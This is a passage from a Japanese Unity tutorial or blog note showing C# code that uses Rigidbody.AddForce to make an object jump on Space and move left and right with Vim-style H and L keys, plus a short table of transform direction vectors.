        {
            // Spaceが押されたときの挙動
            this._rigidbody.AddForce(transform.up * 400.0f);
        }
        
    }
}
```
`Rigidbody.AddForce`でObjectに対して物理的な力を加えることができる`

| 変数 |ベクトル|
|:-----------------|------------------:|
| transform.up     |            (0,1,0)|
| transform.right  |            (1,0,0)|
※ 左を表すには負の数を掛け算すること

```c#
// 入力コードをVimカーソルにしてみる
int key = 0;
if (Input.GetKeyDown(KeyCode.L)) key = 1; // 右
if (Input.GetKeyDown(KeyCode.H)) key = -1; // 左
this._rigidbody.AddForce(transform.right * key * 30.0f);
```

次は 当たり判定かな